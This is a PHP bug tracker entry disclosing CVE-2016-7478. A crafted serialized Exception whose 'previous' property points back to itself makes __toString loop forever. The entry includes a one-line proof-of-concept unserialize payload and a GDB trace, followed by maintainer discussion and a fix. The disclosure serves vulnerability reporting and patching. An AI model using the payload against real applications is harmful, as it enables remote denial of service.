php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73093 Unserialize Exception object can lead to infinite loop
Submitted: 2016-09-15 15:26 UTC Modified: 2016-11-03 03:27 UTC
From: yannayl at checkpoint dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.26 OS:
Private report: No CVE-ID: 2016-7478
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If this is not your bug, you can add a comment by following this link.
If this is your bug, but you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: yannayl at checkpoint dot com
New email:
PHP Version: OS:

 

 [2016-09-15 15:26 UTC] yannayl at checkpoint dot com
Description:
------------
Description:
------------
Crafting speacial input to unserialize may cause exception::__toString never to terminate.

If the exception "previous" property holds the original exception object (or any cyclic situation of that sort),
the loop in exception::__toString never terminates.

Since __toString is reachable from unserialize, this issue may lead to remote DoS.
This bug is closely related to bug #70121.


PoC:
----
<?php
echo unserialize('O:9:"exception":1:{S:19:"\00Exception\00previous";r:1;}');
?>

expected result: script terminates.
result: script never terminates.

Code Flow (commit 01e798fa360bcd89980d1946503a8e0f8a2fd357):
------------------------------------------------------------
Zend/zend_exceptions.c line 325: the exception object stores the 'previous' object, specified in unserialize
Zend/zend_exceptions.c line 692: there is the while loop that iterates over the chain of exceptions
Zend/zend_exceptions.c line 738: exception::__toString get's the 'previous' exception and branches back to the while loop

GDB:
----
(gdb) b zim_exception___wakeup 
Breakpoint 1 at 0x8fafe2: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 316.
(gdb) b zim_exception___toString 
Breakpoint 2 at 0x9008f7: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 677.
(gdb) r infloop.php 
Starting program: /home/yannayl/sources/php-src/sapi/cli/php infloop.php
Breakpoint 1, zim_exception___wakeup (execute_data=0x7ffff44130f0, return_value=0x7fffffff9aa0) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:316
316 {
(gdb) b 325
Breakpoint 3 at 0x8fb787: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 325.
(gdb) c
Continuing.
Breakpoint 3, zim_exception___wakeup (execute_data=0x7ffff44130f0, return_value=0x7fffffff9aa0) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:325
325     CHECK_EXC_TYPE(ZEND_STR_PREVIOUS, IS_OBJECT);
(gdb) n
326 }
(gdb) printzv object
[0x7ffff4413110] (refcount=3) object(Exception) #1    Hash(7)[0x7ffff4455380]: {
      [0]  => [0x7ffff445ca20] indirect: [0x7ffff4479028] (refcount=21) string: 
      [1]  => [0x7ffff445ca40] indirect: [0x7ffff4479038] (refcount=21) string: 
      [2]  => [0x7ffff445ca60] indirect: [0x7ffff4479048] long: 0
      [3]  => [0x7ffff445ca80] indirect: [0x7ffff4479058] (refcount=1) string: /home/yannayl/sources/php-src/infloop.php
      [4]  => [0x7ffff445caa0] indirect: [0x7ffff4479068] long: 3
      [5]  => [0x7ffff445cac0] indirect: [0x7ffff4479078] (refcount=1) array: 
      [6]  => [0x7ffff445cae0] indirect: [0x7ffff4479088] (refcount=3) object(Exception) #1
}
  
(gdb) c
Continuing.
Breakpoint 2, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:677
677 {
(gdb) b 693
Breakpoint 4 at 0x900ac7: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 693.
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693         zend_string *prev_str = str;
(gdb) print exception
$1 = (zval *) 0x7ffff44130b0
(gdb) l
688 
689     exception = getThis();
690     fname = zend_string_init("gettraceasstring", sizeof("gettraceasstring")-1, 0);
691 
692     while (exception && Z_TYPE_P(exception) == IS_OBJECT && instanceof_function(Z_OBJCE_P(exception), zend_ce_throwable)) {
693         zend_string *prev_str = str;
694         zend_string *message = zval_get_string(GET_PROPERTY(exception, ZEND_STR_MESSAGE));
695         zend_string *file = zval_get_string(GET_PROPERTY(exception, ZEND_STR_FILE));
696         zend_long line = zval_get_long(GET_PROPERTY(exception, ZEND_STR_LINE));
697 
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693         zend_string *prev_str = str;
(gdb) p exception
$2 = (zval *) 0x7ffff4479088
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693         zend_string *prev_str = str;
(gdb) p exception
$3 = (zval *) 0x7ffff4479088
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693         zend_string *prev_str = str;
(gdb) p exception
$4 = (zval *) 0x7ffff4479088
(gdb) kill


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-26 00:25 UTC] stas@php.net
I don't think it's possible to do anything about it except not writing code displaying unserializing exceptions. I could add check that previous != this, but you could as well create two exceptions for which one is previous for another, or three, or ten, and we've got back the same problem. I think the only solution for this is making exceptions not serializable: https://github.com/php/php-src/pull/1443

but unfortunately this was not accepted, see: http://marc.info/?l=php-internals&m=143798100917575&w=2 and following discussion. So I don't know any solution for this.
 [2016-09-26 11:05 UTC] yannayl at checkpoint dot com
How about marking the exceptions already converted to string in some way and then throwing an exception or stopping the iteration when encountering already marked?

Either creating a new hash table for that or using the 'nApplyCount' of the properties table (similar to print functions)?
 [2016-09-29 06:55 UTC] stas@php.net
-Summary: Unserialize exceptoin object can lead to infinite loop +Summary: Unserialize Exception object can lead to infinite loop -PHP Version: 7.1.0RC1 +PHP Version: 5.6.26
 [2016-10-31 10:23 UTC] yannayl at checkpoint dot com
Assigned CVE: CVE-2016-7478
Please associate it with this bug.
 [2016-11-03 03:27 UTC] stas@php.net
-Status: Open +Status: Closed -Type: Security +Type: Bug -Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2016-7478
 [2016-11-03 03:27 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Does not reproduce anymore, seems to be fixed.
 
PHP Copyright © 2001-2019 The PHP Group
All rights reserved.
Last updated: Wed Nov 13 16:01:27 2019 UTC